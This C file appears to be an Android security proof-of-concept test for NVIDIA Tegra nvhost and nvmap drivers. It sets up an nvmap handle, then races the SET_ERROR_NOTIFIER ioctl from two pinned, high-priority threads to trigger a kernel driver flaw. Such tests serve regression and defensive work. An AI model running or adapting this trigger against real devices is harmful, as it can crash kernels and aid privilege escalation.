/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sched.h>
#include <stdlib.h>
struct nvhost_channel_open_args {
__s32 channel_fd;
};
struct nvhost_set_error_notifier {
__u64 offset;
__u64 size;
__u32 mem;
__u32 padding;
};
#define NVHOST_IOCTL_MAGIC 'H'
#define NVHOST_IOCTL_CHANNEL_OPEN \
_IOR(NVHOST_IOCTL_MAGIC, 112, struct nvhost_channel_open_args)
#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \
_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
struct nvmap_create_handle {
union {
__u32 id; /* FromId */
__u32 size; /* CreateHandle */
__s32 fd; /* DmaBufFd or FromFd */
};
__u32 handle; /* returns nvmap handle */
};
struct nvmap_alloc_handle {
__u32 handle; /* nvmap handle */
__u32 heap_mask; /* heaps to allocate from */
__u32 flags; /* wb/wc/uc/iwb etc. */
__u32 align; /* min alignment necessary */
};
#define NVMAP_HEAP_CARVEOUT_IRAM (1ul<<29)
#define NVMAP_HEAP_CARVEOUT_VPR (1ul<<28)
#define NVMAP_HEAP_CARVEOUT_TSEC (1ul<<27)
#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
#define NVMAP_HEAP_CARVEOUT_MASK (NVMAP_HEAP_IOVMM - 1)
/* allocation flags */
#define NVMAP_HANDLE_UNCACHEABLE (0x0ul << 0)
#define NVMAP_HANDLE_WRITE_COMBINE (0x1ul << 0)
#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
#define NVMAP_HANDLE_CACHEABLE (0x3ul << 0)
#define NVMAP_HANDLE_CACHE_FLAG (0x3ul << 0)
#define NVMAP_HANDLE_SECURE (0x1ul << 2)
#define NVMAP_HANDLE_KIND_SPECIFIED (0x1ul << 3)
#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
#define NVMAP_HANDLE_ZEROED_PAGES (0x1ul << 5)
#define NVMAP_HANDLE_PHYS_CONTIG (0x1ul << 6)
#define NVMAP_HANDLE_CACHE_SYNC (0x1ul << 7)
#define NVMAP_IOC_MAGIC 'N'
/* Creates a new memory handle. On input, the argument is the size of the new
* handle; on return, the argument is the name of the new handle
*/
#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
#define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4)
int g_fd = -1;
int g_nvmap_fd = -1;
static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int g_channel_fd = -1;
struct nvhost_set_error_notifier g_error_notifier;
struct nvmap_create_handle g_nvmap_hdl;
struct nvmap_alloc_handle g_real_alloc = {0};
int open_driver() {
char* dev_path = "/dev/nvhost-vic";
g_fd = open(dev_path, O_RDONLY);
if (g_fd < 0) {
printf("open file(%s) failed, errno=%d\n", dev_path, errno);
return -1;
} else {
printf("open file(%s) succ!\n", dev_path);
}
dev_path = "/dev/nvmap";
g_nvmap_fd = open(dev_path, O_RDONLY);
if (g_nvmap_fd < 0) {
printf("open file(%s) failed, errno=%d\n", dev_path, errno);
return -1;
} else {
printf("open file(%s) succ!\n", dev_path);
}
return 1;
}
void trigger_channel_open() {
struct nvhost_channel_open_args args = {-1};
ioctl(g_fd, NVHOST_IOCTL_CHANNEL_OPEN, &args);
g_channel_fd = args.channel_fd;
}
int trigger_nvmap_create() {
g_nvmap_hdl.size = 0x1000;
ioctl(g_nvmap_fd, NVMAP_IOC_CREATE, &g_nvmap_hdl);
return g_nvmap_hdl.handle;
}
void trigger_nvmap_free() {
int data = g_nvmap_hdl.handle;
ioctl(g_nvmap_fd, NVMAP_IOC_FREE, data);
}
void trigger_nvmap_alloc(int handle) {
g_real_alloc.align = 0x1000;
g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
g_real_alloc.handle = handle;
ioctl(g_nvmap_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
}
void prepare_data() {
g_error_notifier.offset = 0;
g_error_notifier.mem = g_nvmap_hdl.handle;
}
void trigger_set_error_notifier() {
ioctl(g_fd, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &g_error_notifier);
}
void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
setpriority(PRIO_PROCESS, gettid(), privi);
/* bind process to a CPU*/
if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
}
}
void* race_thread(void* arg) {
setup_privi_and_affinity(-19, 2);
pthread_mutex_lock(&mutex);
pthread_cond_wait(&cond, &mutex);
pthread_mutex_unlock(&mutex);
while (1) {
trigger_set_error_notifier();
}
return NULL;
}
void* race_thread_2(void* arg) {
setup_privi_and_affinity(-19, 1);
pthread_mutex_lock(&mutex);
pthread_cond_wait(&cond, &mutex);
pthread_mutex_unlock(&mutex);
while (1) {
trigger_set_error_notifier();
}
return NULL;
}
int main(int argc, char**argv) {
setup_privi_and_affinity(0, 1);
if (open_driver() < 0) {
return -1;
}
//trigger_nvmap_create();
trigger_nvmap_alloc(trigger_nvmap_create());
prepare_data();
//trigger_nvmap_free();
pthread_t tid;
pthread_create(&tid, NULL, race_thread, NULL);
pthread_create(&tid, NULL, race_thread_2, NULL);
usleep(100 * 1000);
pthread_cond_broadcast(&cond);
sleep(100);
return 0;
}